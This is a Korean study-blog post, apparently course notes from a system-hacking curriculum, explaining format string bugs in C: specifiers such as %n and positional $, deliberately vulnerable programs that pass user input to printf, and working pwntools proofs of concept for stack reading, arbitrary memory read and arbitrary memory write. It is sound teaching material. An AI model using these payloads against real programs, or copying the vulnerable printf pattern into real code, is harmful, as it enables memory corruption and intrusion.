혜랑's STORY

[System Hacking STAGE 9] Memory Corruption: Format String Bug 본문

무지성 공부방/Dreamhack SystemHacking

[System Hacking STAGE 9] Memory Corruption: Format String Bug

hyerang0125 2022. 2. 17. 19:15

서론

printf는 포맷 스트링(Format String)을 이용하여 다양한 형태로 값을 출력할 수 있다는 특징이 있다. C언어에는 printf 외에도 포맷 스트링을 인자로 사용하는 함수들이 많이 있는데 대표적으로 scanf, fprintf, fscanf, sprintf, sscanf 가 있다. 함수의 이름이 "f(formatted)"로 끝나고, 문자열을 다루는 함수라면 포맷 스트링을 처리할 것으로 추측해볼 수 있다.

이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다. 그런데 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없어 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다. 심지어는 다양한 형식 지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.

포맷 스트링 함수를 잘못 사용하여 발생하는 버그를 포맷 스트링 버그(Format String Bug, FSB)라고 부른다.

포맷 스트링

포맷 스트링은 다음과 같이 구성된다.

%[parameter][flags][width][.precision][length]type

specifier(형식 지정자)

- 인자를 어떻게 사용할지 지정한다.

형식 지정자 설명
d 부호있는 10진수 정수
s 문자열
x 부호없는 16진수 정수
n 인자에 현재까지 사용된 문자열의 길이를 저장
p void형 포인터

width(너비)

- 최소 너비를 지정한다. 치황되는 문자열이 이 값보다 짧을 경우, 공백 문자를 패딩해준다.

너비 지정자 설명
정수 정수의 값만큼을 최소 너비로 지정한다.
* 인자의 값 만큼을 최소 너비로 지정한다.

 

// Name: fs.c
// Compile: gcc -o fs fs.c

#include <stdio.h>

int main() {
  int num;
  
  printf("%8d\n", 123);            // "     123"
  printf("%s\n", "Hello, world");  // "Hello, world"
  printf("%x\n", 0xdeadbeef);      // "deadbeef"
  printf("%p\n", &num);            // "0x7ffe6d1cb2c4"
  
  printf("%s%n: hi\n", "Alice", &num);  // "Alice: hi", num = 5
  printf("%*s: hello\n", num, "Bob");   // "  Bob: hello "
  
  return 0;
}
포맷 스트링의 인자가 사용자의 입력에 영향을 받는다면, 코드를 작성하는 시점에는 완성된 포맷 스트링의 길이를 알 수 없다. 만약 프로그래머가 완성된 포맷 스트링의 길이를 코드에 사용해야 한다면, %n을 사용하여 이런 문제를 해결할 수 있다.

 

parameter(인자)

- 참조할 인자의 인덱스를 지정한다. 이 필드의 끝은 $로 표기한다. 인덱스의 범위를 전달된 인자의 갯수와 비교하지 않는다.

// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c

#include <stdio.h>

int main() {
  int num;
  
  printf("%2$d, %1$d\n", 2, 1);  // "1, 2"
  
  return 0;
}

 

포맷 스트링 버그(Format String Bug, FSB)

- 포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.

아래 코드를 보자.

// fsb_auth.c
#include <stdio.h>
int main(void) {
    int auth = 0x42424242;
    char buf[32] = {0, };
    
    read(0, buf, 32);
    printf(buf);
    
    // make auth to 0xff
}

8번째 줄에서 사용자가 입력한 buf를 인자로 printf를 호출하기 때문에 포맷 스트링 버그가 발생한다. 앞에서 배운 여러 가지 포맷 스트링을 넣어가며 결과를 관찰해보고, auth 변수를 0xff로 덮어쓰는 포맷 스트링을 입력해보자.

먼저 A를 입력하여 입력한 값이 어디에 들어가고 있는지 살펴보자.

9번째에서 출력되고 있는 것을 보아 오프셋이 9임을 알 수 있었다.

auth의 주소는 위에서 볼 수 있듯이 0x7fffffffdddc이다. 이를 hex code를 사용하여 리틀엔디안식으로 바꾸어 입력해줄 것이다. 입력으로 주소를 리틀엔디안 형식으로 준 모습이다.

printf의 경우 NULL을 만나면 출력을 종료하기 때문에 덮으려는 주소를 앞이 아닌 뒤에 위치시켜야 한다. 즉, 페이로드는 다음과 같다.

(9) %255c%11
(10) $nAAAAAA <== 'A'는 주소를 뒤로 보내기 위한 더미값
(11) ÜÝÿÿÿ <== 입력할 위치

앞의 입력으로 인해 입력할 위치까지의 오프셋이 11까지 밀려있으므로 위 페이로드에서 11의 위치에 입력하는 것이다.

의도한 대로 auth에 0xff를 넣을 수 있었다.

 

레지스터 및 스택 읽기

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c

#include <stdio.h>

int main() {
  char format[0x100];
  
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  
  return 0;
}

위 코드는 사용자가 임의의 포맷 스트링을 입력할 수 있는 코드의 예이다. 이를 컴파일하고 %p %p %p %p %p %p %p %p %p %p 포맷 스트링을 입력하면, 값들이 출력되는 것을 볼 수 있다.

전달할 인자가 없는데 포맷 스트링이 10개의 인자를 요구하면서 레지스터와 스택의 값이 출력된 것이다. x64의 함수 호출 규약을 생각해보면, 이들이 각각 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]의 값임을 알 수 있다.

임의 주소 읽기

스택 읽기의 결과에서 주목할 점은 6번째 출력 값인 [rsp]부터는 사용자의 입력을 8글자씩 참조한다는 것이다.

0x7025207025207025 => ”%p %p %p”

이를 응용하면 포맷 스트링에 참조하고 싶은 주소를 넣고, %[n]$s의 형식으로 그 주소의 데이터를 읽을 수 있다. 아래 코드는 이를 보여주는 PoC이다.

// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c

#include <stdio.h>

const char *secret = "THIS IS SECRET";

int main() {
  char format[0x100];
  
  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  
  return 0;
}

아래 파이썬 코드를 사용하여 임의 주소를 읽어보자.

from pwn import *

p = process('./fsb_aar')

p.recvuntil('`secret`: ')
addr_secret = int(p.recvline()[:-1], 16)

fstring = b'%7$s'.ljust(8)
fstring += p64(addr_secret)

p.sendline(fstring)

p.interactive()

실행 결과이다.

임의 주소 쓰기

임의 주소 읽기에서와 마찬가지로 포맷 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있다. 아래 코드는 이를 보여주는 PoC이다.

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c

#include <stdio.h>

int secret;

int main() {
  char format[0x100];
  
  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  
  printf("Secret: %d", secret);
  
  return 0;
}

임의 주소 쓰기를 위한 파이썬 코드이다.

from pwn import *

p = process('./fsb_aaw')

p.recvuntil('`secret`: ')
addr_secret = int(p.recvline()[:-1], 16)

fstring = b'%31337c%8$n'.ljust(16)
fstring += p64(addr_secret)

p.sendline(fstring)

print(p.recvall())

실행 결과이다.

PoC의 실행 결과로, Secret이 31337로 조작되는 것을 확인할 수 있다.